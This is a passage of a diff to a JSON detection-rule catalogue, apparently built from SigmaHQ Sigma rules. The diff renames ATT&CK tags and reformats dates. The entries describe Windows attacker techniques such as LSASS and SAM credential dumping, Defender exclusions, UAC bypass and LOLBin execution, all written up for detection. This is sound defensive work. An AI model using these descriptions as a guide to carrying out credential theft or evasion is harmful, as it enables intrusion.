"Legitimate use of the library for administrative activity" ], @@ -43417,7 +43424,7 @@ "attack.execution", "attack.reconnaissance", "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.impact" ] }, @@ -43428,7 +43435,7 @@ "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/18", + "creation_date": "2022-08-18", "falsepositive": [ "Unknown" ], @@ -43441,7 +43448,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_handlekatz.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -43461,7 +43468,7 @@ "description": "Detects process execution from a fake recycle bin folder, often used to avoid security solution.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/12", + "creation_date": "2023-07-12", "falsepositive": [ "Unlikely" ], @@ -43470,13 +43477,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets", "https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/", + "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recycle_bin_fake_execution.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "5ce0f04e-3efc-42af-839d-5b3a543b76c0", @@ -43486,7 +43493,7 @@ "description": "Detects usage of the \"ConvertTo-SecureString\" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Legitimate use to pass password to different powershell commands" ], @@ -43495,12 +43502,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.3#examples", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -43529,7 +43536,7 @@ "description": "Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/04", + "creation_date": "2023-05-04", "falsepositive": [ "Unknown" ], @@ -43562,7 +43569,7 @@ "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -43575,7 +43582,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_susp_child_process.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -43595,7 +43602,7 @@ "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Tim Shelton", - "creation_date": "2022/08/08", + "creation_date": "2022-08-08", "falsepositive": [ "Unlikely" ], @@ -43608,7 +43615,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -43628,7 +43635,7 @@ "description": "Detects PowerShell execution to set the ACL of a file or a folder", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/18", + "creation_date": "2022-10-18", "falsepositive": [ "Unknown" ], @@ -43637,12 +43644,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1", + "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "bdeb2cff-af74-4094-8426-724dc937f20a", @@ -43652,7 +43659,7 @@ "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/24", + "creation_date": "2022-01-24", "falsepositive": [ "Legitimate use by administrators" ], @@ -43688,7 +43695,7 @@ "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", "meta": { "author": "Maxime Thiebaut (@0xThiebaut)", - "creation_date": "2021/10/21", + "creation_date": "2021-10-21", "falsepositive": [ "Legitimate usage of the uncommon Windows Work Folders feature." ], @@ -43701,7 +43708,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -43721,7 +43728,7 @@ "description": "Detects commandline arguments for executing a child process via dotnet-trace.exe", "meta": { "author": "Jimmy Bayne (@bohops)", - "creation_date": "2024/01/02", + "creation_date": "2024-01-02", "falsepositive": [ "Legitimate usage of the utility in order to debug and trace a program." ], @@ -43735,7 +43742,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -43755,7 +43762,7 @@ "description": "Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -43768,7 +43775,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gfxdownloadwrapper_arbitrary_file_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -43788,7 +43795,7 @@ "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "meta": { "author": "frack113", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "Unknown" ], @@ -43821,7 +43828,7 @@ "description": "Detects potential RDP connection via Mstsc using a local \".rdp\" file located in suspicious locations.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/18", + "creation_date": "2023-04-18", "falsepositive": [ "Unlikely" ], @@ -43830,12 +43837,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", + "https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rpd_file_susp_parent.yml" ], "tags": [ - "attack.lateral_movement" + "attack.lateral-movement" ] }, "uuid": "ff3b6b39-e765-42f9-bb2c-ea6761e0e0f6", @@ -43845,7 +43852,7 @@ "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", "meta": { "author": "Agro (@agro_sev) oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "It's not an uncommon to use te.exe directly to execute legal TAEF tests" ], @@ -43854,13 +43861,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/", - "https://twitter.com/pabraeken/status/993298228840992768", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -43880,7 +43887,7 @@ "description": "Detects the enabling of the Windows Recall feature via registry manipulation.\nWindows Recall can be enabled by deleting the existing \"DisableAIDataAnalysis\" value, or setting it to 0.\nAdversaries may enable Windows Recall as part of post-exploitation discovery and collection activities.\nThis rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.\n", "meta": { "author": "Sajid Nawaz Khan", - "creation_date": "2024/06/02", + "creation_date": "2024-06-02", "falsepositive": [ "Legitimate use/activation of Windows Recall" ], @@ -43889,8 +43896,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", "https://learn.microsoft.com/en-us/windows/client-management/manage-recall", + "https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_windows_recall.yml" ], "tags": [ @@ -43914,7 +43921,7 @@ "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -43927,7 +43934,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_var.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -43956,7 +43963,7 @@ "description": "Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.", "meta": { "author": "Ján Trenčanský", - "creation_date": "2021/08/06", + "creation_date": "2021-08-06", "falsepositive": [ "Legitimate deployment of AnyDesk" ], @@ -43970,7 +43977,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_silent_install.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -43990,7 +43997,7 @@ "description": "Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).", "meta": { "author": "Harjot Singh, '@cyb3rjy0t'", - "creation_date": "2023/01/21", + "creation_date": "2023-01-21", "falsepositive": [ "Unknown" ], @@ -44003,7 +44010,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ads_stored_dll_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -44023,7 +44030,7 @@ "description": "Detects execution of LiveKD with the \"-m\" flag to potentially dump the kernel memory", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/16", + "creation_date": "2023-05-16", "falsepositive": [ "Unlikely in production environment" ], @@ -44038,7 +44045,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_kernel_memory_dump.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c7746f1c-47d3-43d6-8c45-cd1e54b6b0a2", @@ -44048,7 +44055,7 @@ "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Unknown" ], @@ -44061,7 +44068,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -44090,7 +44097,7 @@ "description": "Detects the usage of \"reg.exe\" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData.", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate use" ], @@ -44099,12 +44106,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/threat-detection-report/threats/qbot/", "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -44124,7 +44131,7 @@ "description": "Detects uncommon child processes of \"DefaultPack.EXE\" binary as a proxy to launch other programs", "meta": { "author": "frack113", - "creation_date": "2022/12/31", + "creation_date": "2022-12-31", "falsepositive": [ "Unknown" ], @@ -44133,13 +44140,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.echotrail.io/insights/search/defaultpack.exe", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/", + "https://www.echotrail.io/insights/search/defaultpack.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_defaultpack_uncommon_child_process.yml" ], "tags": [ "attack.t1218", - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -44159,7 +44166,7 @@ "description": "Detects execution of \"odbcconf\" with the \"REGSVR\" action where the DLL in question doesn't contain a \".dll\" extension. Which is often used as a method to evade defenses.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "Unlikely" ], @@ -44168,13 +44175,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html", "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr_susp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -44194,7 +44201,7 @@ "description": "Detects the execution of format.com with an uncommon filesystem selection that could indicate a defense evasion activity in which \"format.com\" is used to load malicious DLL files or other programs.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/04", + "creation_date": "2022-01-04", "falsepositive": [ "Unknown" ], @@ -44203,12 +44210,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1477925112561209344", "https://twitter.com/wdormann/status/1478011052130459653?s=20", + "https://twitter.com/0gtweet/status/1477925112561209344", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_format_uncommon_filesystem_load.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", @@ -44218,7 +44225,7 @@ "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", "meta": { "author": "frack113", - "creation_date": "2022/04/24", + "creation_date": "2022-04-24", "falsepositive": [ "Unknown" ], @@ -44227,13 +44234,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.007" ] }, @@ -44253,7 +44260,7 @@ "description": "Detects usage of the \"dir\" command part of Widows CMD with the \"/S\" command line flag in order to enumerate files in a specified directory and all subdirectories.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/13", + "creation_date": "2021-12-13", "falsepositive": [ "Likely" ], @@ -44286,7 +44293,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/09/25", + "creation_date": "2022-09-25", "falsepositive": [ "Legitimate use" ], @@ -44299,7 +44306,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_netsupport.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -44319,7 +44326,7 @@ "description": "Detects the execution of WMIC with the \"format\" flag to potentially load XSL files.\nAdversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.\nExtensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.\n", "meta": { "author": "Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", "Static format arguments - https://petri.com/command-line-wmi-part-3" @@ -44333,7 +44340,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1220" ] }, @@ -44353,7 +44360,7 @@ "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/13", + "creation_date": "2022-06-13", "falsepositive": [ "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" ], @@ -44366,7 +44373,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.execution" ] @@ -44387,7 +44394,7 @@ "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/31", + "creation_date": "2022-08-31", "falsepositive": [ "Some installers were seen using this method of creation unfortunately. Filter them in your environment" ], @@ -44421,7 +44428,7 @@ "description": "Detects the execution of \"wmic\" with the \"process\" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -44455,7 +44462,7 @@ "description": "Detects the usage of \"reg.exe\" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.", "meta": { "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community, frack113", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" ], @@ -44465,14 +44472,14 @@ "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005", @@ -44509,7 +44516,7 @@ "description": "Detects a suspicious execution of a Microsoft HTML Help (HH.exe)", "meta": { "author": "Maxim Pavlunin", - "creation_date": "2020/04/01", + "creation_date": "2020-04-01", "falsepositive": [ "Unknown" ], @@ -44518,16 +44525,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", - "attack.initial_access", + "attack.initial-access", "attack.t1047", "attack.t1059.001", "attack.t1059.003", @@ -44627,7 +44634,7 @@ "description": "Detects suspicious PowerShell scripts accessing SAM hives", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/29", + "creation_date": "2021-07-29", "falsepositive": [ "Some rare backup scenarios", "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" @@ -44641,7 +44648,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_sam_access.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -44661,7 +44668,7 @@ "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", "meta": { "author": "Thomas Patzke", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "NTDS maintenance" ], @@ -44674,7 +44681,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -44694,7 +44701,7 @@ "description": "Detects a process memory dump via \"comsvcs.dll\" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)", "meta": { "author": "Florian Roth (Nextron Systems), Modexp, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/02/18", + "creation_date": "2020-02-18", "falsepositive": [ "Unlikely" ], @@ -44703,18 +44710,18 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://twitter.com/Hexacorn/status/1224848930795552769", "https://twitter.com/Wietze/status/1542107456507203586", + "https://twitter.com/shantanukhande/status/1229348874298388484", "https://github.com/Hackndo/lsassy/blob/14d8f8ae596ecf22b449bfe919829173b8a07635/lsassy/dumpmethod/comsvcs.py", "https://twitter.com/SBousseaden/status/1167417096374050817", - "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://twitter.com/Hexacorn/status/1224848930795552769", "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml" ], "tags": [ - "attack.defense_evasion", - "attack.credential_access", + "attack.defense-evasion", + "attack.credential-access", "attack.t1036", "attack.t1003.001", "car.2013-05-009" @@ -44743,7 +44750,7 @@ "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished.\nWhen the job runs on the system the command specified in the BITS job will be executed.\nThis can be abused by actors to create a backdoor within the system and for persistence.\nIt will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.\n", "meta": { "author": "Sreeman", - "creation_date": "2020/10/29", + "creation_date": "2020-10-29", "falsepositive": [ "Unknown" ], @@ -44752,13 +44759,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", - "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1197" ] }, @@ -44778,7 +44785,7 @@ "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -44792,8 +44799,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_sdclt.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -44813,7 +44820,7 @@ "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", "meta": { "author": "Matthew Green @mgreen27, Ecco, James Pemberton @4A616D6573, oscd.community, Andreas Hunkeler (@Karneades)", - "creation_date": "2019/06/15", + "creation_date": "2019-06-15", "falsepositive": [ "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" ], @@ -44828,7 +44835,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -44848,7 +44855,7 @@ "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", "meta": { "author": "frack113", - "creation_date": "2022/03/12", + "creation_date": "2022-03-12", "falsepositive": [ "Legitimate script" ], @@ -44857,9 +44864,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://ss64.com/ps/foreach-object.html", "https://ss64.com/nt/for.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_scan_loop.yml" ], "tags": [ @@ -44892,7 +44899,7 @@ "description": "Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/05/24", + "creation_date": "2023-05-24", "falsepositive": [ "Unknown" ], @@ -44901,13 +44908,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", "https://twitter.com/mrd0x/status/1461041276514623491", "https://twitter.com/tccontre18/status/1480950986650832903", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -44927,7 +44934,7 @@ "description": "Detects the recovery of files from backups via \"wbadmin.exe\".\nAttackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Unknown" ], @@ -44936,8 +44943,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery", "https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml" ], "tags": [ @@ -44961,7 +44968,7 @@ "description": "Detects execution of \"certmgr\" with the \"add\" flag in order to 